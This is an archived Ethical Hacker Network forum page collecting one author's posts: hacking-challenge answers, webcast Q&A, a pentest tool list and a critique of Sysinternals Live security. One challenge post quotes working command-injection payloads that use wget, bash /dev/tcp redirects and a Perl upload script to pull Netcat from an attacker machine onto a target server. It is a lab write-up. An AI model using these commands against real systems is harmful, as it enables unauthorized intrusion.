Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 48 guests and 1 member online
 
Advertisement

You are here: Home
EH-Net
May 21, 2013, 02:17:47 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
  Home Help Calendar Login Register  
  Show Posts
Pages: [1]
1  EH-Net / Special Events / Re: Q&A for Pen Testing Perfect Storm Part II: Client-Side Mutiny on: January 23, 2009, 11:40:39 AM
Thanks, VJ, for posting those links... much appreciated.

We'll get answers to your other questions up (regarding old Joomla versions and AirCSRF availability) soon.

Thanks again to all--
--Ed.
 
2  Features / Dec 08 - Santa Claus Is Hacking to Town / Re: [Article]-Santa Claus is Hacking to Town - Answers and Winners on: January 23, 2009, 11:32:17 AM
I purposely designed the challenge so that it did not include Netcat on that server so that you'd have to devise a method for moving it there.  Sorry that I didn't include that step in my answers.  My answers were getting really long (11 typed pages), so I didn't include every single command.  I'm glad you guys asked about this one, because it deserves to be talked about in more detail.  Thank you!  These challenges are all about sharing techniques among security practitioners, and the techniques associated with this one were fantastic.

Mark Baggett's answer did indeed include a method for getting Netcat there, but he actually sent me his solution in multiple parts.  I'm sorry, but I did not include the part of Mark's answer that mentioned how he got nc there.  I'll mention his technique below (with an excerpt of his submitted answer part that included the transfer) below as I go through the methods for moving nc to web1.

So, let me tell you about how different people (including Mark), got Netcat to web1.  All of these techniques relied on the command-injection flaw on web1:

Method i) Inject a command that invokes wget to connect to Santa's laptop and pull down the Linux version of Netcat.  This is the method used by Mark Baggett and many other people.  Here is the syntax he specified in the other component of his answer:

"from santa's linux box
               nc -l -p 3000 < nc
       in webpage we do something like this...
               http://web1?vulnerablepage.php?vulnerable=normal; 
wget jailmasterlaptop:3000
       Give it a minute or so to finish the transfer to the 
machine and hits control-c on the netcat on his box
               http://web1?vulnerablepage.php?vulnerable=normal;   
mv index.html nc
               http://web1?vulnerablepage.php?vulnerable=normal; 
chmod 777 nc"

It was a nice approach, in that he remembered to move index.html into nc (in effect renaming it), and he even chmod'ed it so that any user (including apache) could read, write, and execute it.  I gave Mark extra points for remembering the mv and chmod, because several others forgot it.  Richard J. used a similar technique, as did Peter Jackson (who also showed how it could be done with curl).  Several others did as well.

Method ii) Inject the echo command to build an FTP command file on web1, and then inject a command to invoke an FTP client to run commands from that file.  Zoher used a variation of this technique with the lftp command.

Method iii) Use tftp to move the file by injecting a command to invoke the tftp client on web1.  This method depends on Santa's Linux box having a tftpd and web1 having a tftp client, which they may or may not have.

Method iv) Using /dev/tcp on web1.  I really liked this approach, because it uses the built-in capabilities of bash on many Linuxes for interacting with /dev/tcp via shell redirects.  Several people tried this, but many of them had improper syntax.  As you may know, /dev/tcp can be used via bash on some Linux systems (typically non-Debian derived Linuxes) to open an outbound TCP connection.  You can push data across that connection easily by just cat'ting or echo'ing it into /dev/tcp.  But, how can you pull data across it, for file transfer?  Raul Siles' answer included syntax for doing that, as follows:

"Kris made available a copy of the Linux netcat binary through [his own laptop] on port TCP/80 (a little stealthy trick to simulate a web server connection in case someone checks outbound traffic from web1) using netcat:

[Santa's_Laptop] $ nc -l -p 80 < /usr/bin/nc

Using the web-based command injection flaw, Kris launched a series of commands to initiate a connection from web1 to [his own laptop] on port TCP/80 and retrieve the Linux netcat binary. The file was copied under /tmp, as a readable and executable file.

[web1] $ exec 6<>/dev/tcp/Linnie/80
[web1] $ cat <&6 >/tmp/nc
[web1] $ ls -l /tmp/nc
-rw-rw-r-- 1 apache apache 18596 2008-12-30 13:24 /tmp/nc
[web1] $ md5sum /tmp/nc
77e752183c698f76f00c0de5d070314d  /tmp/nc
[web1] $ chmod 500 /tmp/nc
[web1] $
"

Ryan L. had a nice variation, which again involved setting up a Netcat listener on Santa's own box, ready to deliver up the netcat executable.  He then injected this command into web1:

"cat <
/dev/tcp/<Kris's IP Address>/8080 > /tmp/nc; chmod 755 /tmp/nc;"

These are quite nice techniques, and kudos to Raul and Ryan for using it.  Note that both remembered the chmod.  Raul even went further and md5sum'med it.  Note that Raul, to get the output displayed, must be using an interactive shell, likely delivered via /dev/tcp on another port.

Method iv) Create a perl script that runs on Santa's laptop to encode and move the file.  Peter Jackson used this approach, saying it's what he'd rely on if wget or curl were not available.  His script base-64 encoded netcat and chopped it up into little parts, transmitting them via the command injection flaw 57 bytes at a time, injecting the echo command into web1 with >> to append the given chunk of Netcat to the file he built on the target. This also was a very cool approach.  Here's Peter's code:

-------
#!/usr/bin/perl
use MIME::Base64 qw(encode_base64);

use LWP 5.64;
my $browser = LWP::UserAgent->new;

# read netcat binary in 57 byte chucks and submit
# base64 encoded string to the vulntiable URL

open(FILE, "nc") or die "$!";

while (read(FILE, my $buf, 57)) {
   my $base64chr = encode_base64($buf);
   # remove the line break
   chomp($base64chr);

   my $response = $browser->post( 'http://web1/vuln.cgi',
       [ 'cmd' => "echo $base64chr >> /tmp/.../nc.base64" ]
   );

   die "$url error: ", $response->status_line
     unless $response->is_success;
}
close(FILE);
-----

There were some other variations and approaches, but those were the main ones.

Again, as you can see, these answers were stellar, which is why we saw so many honorable mentions.

Thanks again, guys!

--Ed.

3  Features / Dec 08 - Santa Claus Is Hacking to Town / Re: [Article]-Santa Claus is Hacking to Town - Answers and Winners on: January 22, 2009, 07:17:10 AM
By the way, it took me about 40 hours of testing to go through all of the responses, running their commands to see if they worked.  And, if a given command or approach didn't work, I tried alternative versions of Windows (XP, Vista, 2000, 2003) or tried tweaking their syntax to make it work.  Because my target Linux had the Hobbit Netcat on it, the -c option wasn't present and therefore failed, so I changed it to a -e to make it work.  That's what prompted my comment.  But, your point about the commonly installed Netcat on most Linux distros is absolutely right. 

On all of my Linux boxen, I typically remove default versions of Netcat and replace them with my own, because I hate that they omit the -p option in Netcat listeners.  Leaving off the -p for local port on listeners just looks evil to me.

Thanks again--
--Ed.
4  Features / Dec 08 - Santa Claus Is Hacking to Town / Re: [Article]-Santa Claus is Hacking to Town - Answers and Winners on: January 22, 2009, 07:10:55 AM
cdman,

You know, that's a really good point!  Sorry I overlooked it.  I typically use a patched version of the Hobbit nc for Linux/UNIX or Weld Pond's for Windows, and rely on its syntax.  To execute a command, I run it with -e [command].  If I want a command with parameters or multiple commands, I use -e followed by a .bat file (Windows) or a .sh file (Linux/UNIX), which contains the command(s) and parameters.  Thus, I haven't used the -c option, because it's not included in the Netcat version I use, plus I haven't needed it.  However, I do see the value of having the -c option, and now understand why you used it.  Thanks for the clarification.  Great work, man!

Thanks again--
--Ed.

5  EH-Net / Special Events / Re: Q&A for Pen Testing Perfect Storm Part II: Client-Side Mutiny on: January 22, 2009, 07:06:16 AM
VJ and RR,

Thank you for your kind words.  Much appreciated.

We had a wonderful time on the webcast yesterday.  Thanks to everyone who took time out of their schedule to join us.

--Ed.
6  EH-Net / Special Events / Re: Q&A for Pen Testing Perfect Storm Webcast Series: Part I on: October 16, 2008, 04:12:32 PM
This morning, a good friend of mine asked two questions based on our webcast yesterday.  They were such good questions, I figured I’d address them here.

First off, he asked about how a pen tester could verify that the hooked browser near the start of our sample scenario is within the scope of the project.  It’s a great question, and we plan on getting into details about how to do that in the second and third webcasts in the series.  We’ll talk about different architectural approaches using client-side and web-server-side code to determine where on the network the browser is located to make sure it is kosher to include it in the pen test.   So, stay tuned on that one.  We’ve got a bunch of slides summarizing a variety of approaches.

His second question revolved around how to get customers who procure pen tests to include such combined work in their tests.  I jokingly responded saying that you should do webcasts on the subject and hope your customers listen in and get the idea.  But, more seriously, I explained that we do try to discuss combined tests up front during the initial scoping meetings with our clients to gauge their interest.  Sometimes, they do sign up for a test that is a combination of the two or three vectors we discussed: network, web, and wireless.  But, rather often, they tell us that they only have budget for one of those vectors, such as wireless.  I told my friend that we then commence on the given test that the client has planned.  Then, when we make some progress and get some form of access, we ask our client, “Do you want us to see how far we can go here?”  They often do, thereby placing the more complex and powerful combined attack vectors in play.  Customers often get excited by this, because they can see that we’ve scratched the surface and, with the increase in scope, will likely be able to help them make their case for security improvements.  So, the short answer to my friend’s second question is to try to scope it in up front, and if that fails, consider running it by the client after a major discovery during a traditional non-combined pen test.

7  EH-Net / Special Events / Tools on: October 15, 2008, 01:59:59 PM
I’d also like to thank all those who joined us on the webcast today.  We really appreciate your interest and participation!  Thanks also to Core Security Technologies, our gracious webcast sponsor.

On the webcast, I promised I’d post a list of some of the tools we referenced.  This list isn’t exhaustive, but does represent the majority of the functionality we discussed.

BeEF, the Browser Exploitation Framework, by Wade Alcorn, available at http://www.bindshell.net/tools/beef

AirCSRF, “Air-Sea-Surf”, by Garland Glessner, not yet released publicly… stay tuned.

Yokoso!, by Kevin Johnson, et al, release imminent, to be available at http://sourceforge.net/projects/yokoso/

Samurai Web Testing Framework, by Kevin Johnson, et al, available at http://sourceforge.net/projects/samurai

Metasploit, by HD Moore, et al, available at http://www.metasploit.com

AirPwn, by Toast, available at http://airpwn.sourceforge.net/Airpwn.html

Of course, the techniques we discussed can be stitched together from any number of tools, but the items above were specifically mentioned and are very useful.

Hope this helps—
--Ed Skoudis.
InGuardians

8  Resources / Tools / Re: Sysinternals Live on: June 13, 2008, 06:52:22 AM
This is indeed a fascinating feature.  And, while I applaud Microsoft's desire to "test an alternate distribution mechanism for our utilities," I'm very concerned about the security issues this opens up.

First off, by typing \\[machine]\[share] at a cmd.exe, you are causing your machine to make an SMB session with Microsoft, across the Internet.  Theoretically, Microsoft thus could capture the challenge/response interaction (LM Challenge/Response, NTLMv1, or NTLMv2, depending on how you are configured), and crack your passwords, a la the Cain tool.  However, you might think that's not a big deal, because, well, Microsoft already owns you, since the first time you installed Windows 3.1.

But the issue goes beyond that.  In essence, Microsoft, in distributing tools this way, is teaching people that doing LM C/R, NTLMv1, or NTLMv2 exchanges with people across the Internet is ok.  Even if users don't think of it in those terms, this action by Microsoft will lull people into complacency regarding such interactions. 

Furthermore, someone on the network between the machine running the commands and Microsoft could intercept the traffic and crack the credentials.  Or, bad guys could merely observe the traffic to determine who allows outbound SMB access from a target environment (it's a good idea to block such outbound traffic on TCP ports 135-139 and 445). Such leaked info is very useful for bad guys.  And, what's to say that Microsoft itself won't be compromised, with attackers capturing and cracking the challenge/response.  And, finally, with DNS cache poisoning, the bad guy could become  live.sysinternals.com, at least as far as your network is concerned.  Thus, you'd be sending credentials to the evil cache-poisoning dude, and then running executables he sends back to you.

Neat idea... terrifying security ramifications.  IMHO.

--Ed Skoudis.
9  Features / March 2008 - It Happened One Friday / Re: [Article]-It Happened One Friday on: April 12, 2008, 03:23:38 PM
Nicely said, Don.  There's much to chew on in the challenge, and I think people will have fun with it.  We try to write these challenges so that people learn new things while working on them.  Don't be intimidated, even if you aren't a Linux command-line person.  Just start working on it, and see where it leads.  You've got a little over a week to send in your answers.  I'd love to see what you guys come up with.

--Ed Skoudis.
10  Features / Dec 07 - Frosty the Snow Crash / Recipe Update on: December 18, 2007, 05:31:19 AM
Hey guys... diligent reader Andy tried Mike Poor's recipe for cooking turkey on a MacBook Pro, and kindly suggested some updates.  Apparently, the original recipe, which does make a tasty turkey, slimes the MacBook Pro.  Doh!  Who would have guessed that?  Happily, Andy amended the recipe to make it safer for the laptop as follows:

"Oh yeah, Mr. Poor's recipe is crap.  I'm sitting here with a weird
gelatinous goo dripping between my legs, the bottom of my MacBook Pro
is almost too slippery for me to type, AND I'm only trying this with a
10lb turkey, well below the specified 20lb limit.  As my momma always
said, turkeys are suppose to be cooked in a bag...or deep fried but
that's off topic.  Please Mr. Poor, do not be offended but I would
recommend changing the recipe to include a cooking bag.  If you are
concerned about not getting that nice, crispy, artery-clogging skin,
may I also recommend removing the bag for the last quarter of the
remaining battery charging time and start a Vista image in Fusion..."

Thanks, Andy, for the helpful suggestion.  Oh, and pass on the thanks from the whole Ethical Hacking community to your Momma.

--Ed.

Pages: [1]
Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.078 seconds with 22 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.